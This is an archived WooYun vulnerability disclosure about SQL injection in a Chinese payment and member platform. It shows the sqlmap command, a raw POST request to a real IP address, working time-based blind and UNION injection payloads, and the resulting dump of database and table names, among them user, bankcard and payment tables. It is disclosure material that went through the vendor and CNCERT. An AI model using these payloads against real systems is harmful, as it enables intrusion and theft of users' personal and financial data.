当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0116798

漏洞标题：神州运通应用平台SQL注入泄漏会员信息

相关厂商：神州运通控股有限公司

漏洞作者： CP莹

提交时间：2015-06-02 10:43

修复时间：2015-07-20 18:28

公开时间：2015-07-20 18:28

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：10

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-06-02： 细节已通知厂商并且等待厂商处理中
2015-06-05： 厂商已经确认，细节仅向厂商公开
2015-06-15： 细节向核心白帽子及相关领域专家公开
2015-06-25： 细节向普通白帽子公开
2015-07-05： 细节向实习白帽子公开
2015-07-20： 细节向公众公开

简要描述：

神州运通应用平台SQL注入可脱裤，会员登录使用神州币冲话费、QB等系列敏感操作。

详细说明：

sqlmap.py -r 1.txt -p cur_sel --dbs


POST /myaccount/ajax.php HTTP/1.1
Content-Length: 58
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://222.73.36.228:80/
Cookie: PHPSESSID=sk3b63h5d3lhqsn0aamcvle5e1
Host: 222.73.36.228
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 
Safari/537.36
Accept: */*
cur_sel=0&pid=1%20AND%203*2*1%3d6%20AND%20744%3d744&type=4

漏洞证明：

Parameter: #1* ((custom) POST)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: cur_sel=0&pid=1 AND 3 AND (SELECT * FROM (SELECT(SLEEP(5)))FjDk)-- oDxw21=6 AND 744=744&type=4
    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: cur_sel=0&pid=1 AND 3 UNION ALL SELECT NULL,NULL,CONCAT(0x7162716a71,0x744b6361546579637a53,0x71786a6a71),NULL-- 21=6 AND 744=744&type=4
---
web application technology: Apache
back-end DBMS: MySQL 5.0.12
available databases [2]:
[*] information_schema
[*] splatform


web application technology: Apache
back-end DBMS: MySQL 5.0.12
Database: splatform
[180 tables]
+---------------------------------------+
| execution_time                        |
| s_account                             |
| s_admin_subs                          |
| s_ali_pay_rec                         |
| s_app                                 |
| s_app_error_log                       |
| s_app_order                           |
| s_app_partner                         |
| s_app_products                        |
| s_barcode_merchant                    |
| s_barcode_merchant_info               |
| s_barcode_product                     |
| s_beta_register                       |
| s_blog_cat                            |
| s_blog_comment                        |
| s_blog_comment_log                    |
| s_blog_post_relationship              |
| s_blog_posts                          |
| s_blog_search                         |
| s_blog_tags                           |
| s_bonus_count                         |
| s_bonus_pay_list                      |
| s_cep_order                           |
| s_chanet_activity                     |
| s_city                                |
| s_code_sales_list                     |
| s_coupon                              |
| s_coupon_code                         |
| s_cpa_list                            |
| s_cronUpdate                          |
| s_cronupdate                          |
| s_ctrip_flight                        |
| s_ctrip_hotel                         |
| s_dooland_card_code                   |
| s_dooland_cat                         |
| s_dooland_products                    |
| s_ej_order                            |
| s_ej_order_item                       |
| s_ej_products                         |
| s_exchange                            |
| s_exchange_bonus_logs                 |
| s_exchange_out                        |
| s_exchange_record                     |
| s_exchange_sum                        |
| s_f_avatar                            |
| s_f_bad_words                         |
| s_f_cat_daily_status                  |
| s_f_category                          |
| s_f_category_stats                    |
| s_f_cron_live                         |
| s_f_daily_status                      |
| s_f_parent_user                       |
| s_f_profile                           |
| s_f_reply                             |
| s_f_topic                             |
| s_faq_cat                             |
| s_faq_list                            |
| s_faq_map                             |
| s_feedback                            |
| s_file_list                           |
| s_frozen_list                         |
| s_game_attempt                        |
| s_game_chance                         |
| s_game_coupon_codes                   |
| s_game_coupon_list                    |
| s_game_list                           |
| s_game_model                          |
| s_game_prize                          |
| s_game_user_gain                      |
| s_game_winner                         |
| s_gift_bag                            |
| s_god_badge                           |
| s_goods                               |
| s_goods_detail                        |
| s_ips_company                         |
| s_ips_sales_list                      |
| s_j8_cat_list                         |
| s_j8_com_cat_list                     |
| s_j8_company_list                     |
| s_j8_product_list                     |
| s_j8_region_list                      |
| s_j8_sale_list                        |
| s_j8_sale_list_old1                   |
| s_j8_server_list                      |
| s_json_bk                             |
| s_kango_cardkinds                     |
| s_kango_cinemas                       |
| s_kango_sale_list                     |
| s_log_name_list                       |
| s_login_attempt                       |
| s_luck100_code                        |
| s_luck100_dice                        |
| s_luck100_user_gain                   |
| s_merchant                            |
| s_merchant_bus_ad                     |
| s_merchant_cat                        |
| s_merchant_coupon                     |
| s_merchant_ext                        |
| s_merchant_info                       |
| s_merchant_prom_ad                    |
| s_my_coupon                           |
| s_nav                                 |
| s_nav_list                            |
| s_nonce_data                          |
| s_oauth_access_token                  |
| s_oauth_quest_token                   |
| s_ofcard_product_list                 |
| s_ofcard_products                     |
| s_ofcard_sales_list                   |
| s_order                               |
| s_order_item                          |
| s_order_session                       |
| s_page_scheduler                      |
| s_pages                               |
| s_pay                                 |
| s_pay_channel                         |
| s_pay_info                            |
| s_permission_list                     |
| s_prepaid_card                        |
| s_prepaid_card_name                   |
| s_prepaid_event                       |
| s_questionnaire                       |
| s_reg_user                            |
| s_regions                             |
| s_rmb_order                           |
| s_rmb_to_ceb                          |
| s_rmb_to_order                        |
| s_rmb_trans                           |
| s_sAlbum                              |
| s_sContent_bk                         |
| s_sCss                                |
| s_sCss_preview                        |
| s_sCss_update                         |
| s_sPlugin                             |
| s_sVideo                              |
| s_shipping_addr                       |
| s_site_log                            |
| s_sys_config                          |
| s_sys_config_file                     |
| s_template                            |
| s_template_parent                     |
| s_transaction                         |
| s_tutorial_cat                        |
| s_tutorial_img                        |
| s_tutorial_item                       |
| s_txtlink_cat                         |
| s_txtlink_list                        |
| s_union_game                          |
| s_union_game_bonus                    |
| s_union_game_bonus_transaction        |
| s_union_game_class                    |
| s_union_game_comment                  |
| s_union_game_dynamic                  |
| s_union_game_meed                     |
| s_union_game_meed_class               |
| s_union_game_meed_order               |
| s_union_game_money_transaction        |
| s_union_game_order                    |
| s_union_game_recharge                 |
| s_union_game_score_error              |
| s_union_user_card                     |
| s_user                                |
| s_user_bankcard                       |
| s_user_godc                           |
| s_user_groups                         |
| s_user_info                           |
| s_user_permissions                    |
| s_user_personal_info                  |
| s_user_plugin                         |
| s_user_posorder                       |
| s_user_posorderrecall                 |
| s_user_union_game                     |
| s_wifi_code_cat                       |
| s_wifi_codes                          |
| s_xmastree_lamp                       |
| s_xmastree_user_gain                  |
| s_yiqifa_cat                          |
| s_yiqifa_product                      |
| s_yiqifa_sales                        |
| test                                  |
+---------------------------------------+
Database: information_schema
[37 tables]
+---------------------------------------+
| CHARACTER_SETS                        |
| COLLATIONS                            |
| COLLATION_CHARACTER_SET_APPLICABILITY |
| COLUMNS                               |
| COLUMN_PRIVILEGES                     |
| ENGINES                               |
| EVENTS                                |
| FILES                                 |
| GLOBAL_STATUS                         |
| GLOBAL_VARIABLES                      |
| INNODB_CMP                            |
| INNODB_CMPMEM                         |
| INNODB_CMPMEM_RESET                   |
| INNODB_CMP_RESET                      |
| INNODB_LOCKS                          |
| INNODB_LOCK_WAITS                     |
| INNODB_TRX                            |
| KEY_COLUMN_USAGE                      |
| PARAMETERS                            |
| PARTITIONS                            |
| PLUGINS                               |
| PROCESSLIST                           |
| PROFILING                             |
| REFERENTIAL_CONSTRAINTS               |
| ROUTINES                              |
| SCHEMATA                              |
| SCHEMA_PRIVILEGES                     |
| SESSION_STATUS                        |
| SESSION_VARIABLES                     |
| STATISTICS                            |
| TABLES                                |
| TABLESPACES                           |
| TABLE_CONSTRAINTS                     |
| TABLE_PRIVILEGES                      |
| TRIGGERS                              |
| USER_PRIVILEGES                       |
| VIEWS                                 |
+---------------------------------------+

修复方案：

你懂的~

版权声明：转载请注明来源 CP莹@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2015-06-05 18:26

厂商回复：

最新状态：

暂无